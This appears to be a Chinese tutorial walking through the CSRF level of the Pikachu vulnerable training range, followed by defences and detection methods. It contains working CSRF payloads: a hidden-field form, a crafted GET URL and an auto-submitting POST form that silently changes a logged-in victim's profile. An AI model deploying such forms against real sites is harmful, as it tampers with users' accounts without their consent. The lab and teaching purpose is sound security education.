Pikachu靶场通关之Cross-site request forgery
字数 1609 2025-08-15 21:33:24

Cross-site request forgery (CSRF) 漏洞全面解析与实战教学

一、CSRF漏洞概述

CSRF(跨站请求伪造)是一种web安全漏洞,攻击者会伪造一个请求(通常是一个链接),欺骗目标用户点击。用户一旦点击这个请求,攻击即完成,因此CSRF攻击也被称为"one click"攻击。

关键概念区分

  • CSRF vs XSS:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限;XSS是直接盗取用户权限后实施破坏
  • CSRF vs 越权:CSRF是利用用户已登录状态伪造请求;越权是直接绕过权限验证

典型攻击场景

  1. 攻击者发现目标网站修改个人信息的请求容易伪造(如:http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change
  2. 攻击者将该链接伪装后发送给已登录目标网站的用户
  3. 用户点击链接后,个人信息被修改,攻击完成

攻击成功条件

  1. 目标网站对敏感操作缺乏足够验证
  2. 受害者已登录目标网站
  3. 受害者点击了攻击者构造的恶意链接

二、CSRF漏洞利用实战

1. GET型CSRF利用

实验环境

  • 浏览器A:登录kobe账号
  • 浏览器B:登录lucy账号

攻击步骤

  1. 在浏览器A修改kobe账号信息,使用Burp Suite抓包
  2. 右键生成CSRF PoC,保存为HTML文档
  3. 修改HTML中的个人信息参数:
<html>
<body>
  <form action="http://xxx.xxx.xxx/vul/csrf/csrfget/csrf_get_edit.php">
    <input type="hidden" name="sex" value="boy" />
    <input type="hidden" name="phonenum" value="15988767673" />
    <input type="hidden" name="add" value="nba lakes" />
    <input type="hidden" name="email" value="kobe@pikachu.com" />
    <input type="hidden" name="submit" value="submit" />
    <input type="submit" value="Submit request" />
  </form>
</body>
</html>
  1. 在浏览器B中打开该HTML并点击提交
  2. 观察lucy账号信息已被修改为kobe的信息

替代方法
GET型CSRF也可直接构造URL实现:

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba lakes&email=kobe@pikachu.com&submit=submit

2. POST型CSRF利用

实验环境

  • 浏览器A:登录kobe账号
  • 浏览器B:登录lili账号

攻击步骤

  1. 在浏览器A修改kobe账号信息,使用Burp Suite抓包
  2. 构造自动提交表单的HTML并部署在公网服务器:
<html>
<head>
  <script>
    window.onload = function() {
      document.getElementById("postsubmit").click();
    }
  </script>
</head>
<body>
  <form method="post" action="http://xxx.xxx.xxx/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="boy" />
    <input id="phonenum" type="text" name="phonenum" value="15988767673" />
    <input id="add" type="text" name="add" value="nba lakes" />
    <input id="email" type="text" name="email" value="kobe@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
  </form>
</body>
</html>
  1. 在浏览器B中访问该HTML页面(自动提交表单)
  2. 观察lili账号信息已被修改为kobe的信息

3. Token验证的CSRF防御机制

防御原理

  1. 每次请求生成随机token值
  2. 提交请求时验证token有效性
  3. 查看页面源码可发现隐藏的token字段

绕过难度

  • 攻击者无法预测或获取有效的token值
  • 必须获取当前用户的token才能构造有效请求

三、CSRF漏洞的危害

  1. 账户安全:修改用户密码、邮箱等敏感信息
  2. 电商风险:修改收货地址、下单等操作
  3. 数据篡改:删除、修改用户数据
  4. 蠕虫传播:配合XSS漏洞可造成蠕虫病毒式传播
  5. 权限滥用:用户所有可在网站执行的操作,攻击者均可利用CSRF伪造

四、CSRF漏洞防御措施

1. 使用安全Token

  • 为每个表单生成唯一的、不可预测的token
  • 服务器验证token有效性
  • token应与用户会话关联并设置合理有效期

2. 增加验证码

  • 对敏感操作要求输入验证码
  • 可防止自动化CSRF攻击

3. 实施安全流程

  • 修改密码时要求验证旧密码
  • 关键操作分多步完成
  • 敏感操作增加二次确认

4. 其他防御措施

  • 检查Referer头部(但可能被绕过)
  • 使用SameSite Cookie属性
  • 关键操作使用POST而非GET方法

五、CSRF漏洞检测方法

  1. 手动测试

    • 检查敏感操作是否容易被伪造
    • 查看请求是否包含随机token
    • 尝试移除/修改参数观察是否仍能执行
  2. 工具辅助

    • 使用Burp Suite生成CSRF PoC
    • 自动化扫描工具检测
  3. 代码审计

    • 检查关键操作是否有token验证
    • 验证随机数生成是否足够安全

六、总结

CSRF是一种危害严重且常见的web安全漏洞,攻击者利用用户已登录状态伪造请求执行恶意操作。防御CSRF的核心在于确保每个敏感请求都是用户明确意图发起的,通过token、验证码等多重验证机制可以有效防范此类攻击。开发人员应在设计阶段就考虑CSRF防护,安全人员则应将其作为常规测试项进行检测。

Cross-site request forgery (CSRF) 漏洞全面解析与实战教学 一、CSRF漏洞概述 CSRF(跨站请求伪造)是一种web安全漏洞,攻击者会伪造一个请求(通常是一个链接),欺骗目标用户点击。用户一旦点击这个请求,攻击即完成,因此CSRF攻击也被称为"one click"攻击。 关键概念区分 CSRF vs XSS :CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限;XSS是直接盗取用户权限后实施破坏 CSRF vs 越权 :CSRF是利用用户已登录状态伪造请求;越权是直接绕过权限验证 典型攻击场景 攻击者发现目标网站修改个人信息的请求容易伪造(如: http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change ) 攻击者将该链接伪装后发送给已登录目标网站的用户 用户点击链接后,个人信息被修改,攻击完成 攻击成功条件 目标网站对敏感操作缺乏足够验证 受害者已登录目标网站 受害者点击了攻击者构造的恶意链接 二、CSRF漏洞利用实战 1. GET型CSRF利用 实验环境 : 浏览器A:登录kobe账号 浏览器B:登录lucy账号 攻击步骤 : 在浏览器A修改kobe账号信息,使用Burp Suite抓包 右键生成CSRF PoC,保存为HTML文档 修改HTML中的个人信息参数: 在浏览器B中打开该HTML并点击提交 观察lucy账号信息已被修改为kobe的信息 替代方法 : GET型CSRF也可直接构造URL实现: 2. POST型CSRF利用 实验环境 : 浏览器A:登录kobe账号 浏览器B:登录lili账号 攻击步骤 : 在浏览器A修改kobe账号信息,使用Burp Suite抓包 构造自动提交表单的HTML并部署在公网服务器: 在浏览器B中访问该HTML页面(自动提交表单) 观察lili账号信息已被修改为kobe的信息 3. Token验证的CSRF防御机制 防御原理 : 每次请求生成随机token值 提交请求时验证token有效性 查看页面源码可发现隐藏的token字段 绕过难度 : 攻击者无法预测或获取有效的token值 必须获取当前用户的token才能构造有效请求 三、CSRF漏洞的危害 账户安全 :修改用户密码、邮箱等敏感信息 电商风险 :修改收货地址、下单等操作 数据篡改 :删除、修改用户数据 蠕虫传播 :配合XSS漏洞可造成蠕虫病毒式传播 权限滥用 :用户所有可在网站执行的操作,攻击者均可利用CSRF伪造 四、CSRF漏洞防御措施 1. 使用安全Token 为每个表单生成唯一的、不可预测的token 服务器验证token有效性 token应与用户会话关联并设置合理有效期 2. 增加验证码 对敏感操作要求输入验证码 可防止自动化CSRF攻击 3. 实施安全流程 修改密码时要求验证旧密码 关键操作分多步完成 敏感操作增加二次确认 4. 其他防御措施 检查Referer头部(但可能被绕过) 使用SameSite Cookie属性 关键操作使用POST而非GET方法 五、CSRF漏洞检测方法 手动测试 : 检查敏感操作是否容易被伪造 查看请求是否包含随机token 尝试移除/修改参数观察是否仍能执行 工具辅助 : 使用Burp Suite生成CSRF PoC 自动化扫描工具检测 代码审计 : 检查关键操作是否有token验证 验证随机数生成是否足够安全 六、总结 CSRF是一种危害严重且常见的web安全漏洞,攻击者利用用户已登录状态伪造请求执行恶意操作。防御CSRF的核心在于确保每个敏感请求都是用户明确意图发起的,通过token、验证码等多重验证机制可以有效防范此类攻击。开发人员应在设计阶段就考虑CSRF防护,安全人员则应将其作为常规测试项进行检测。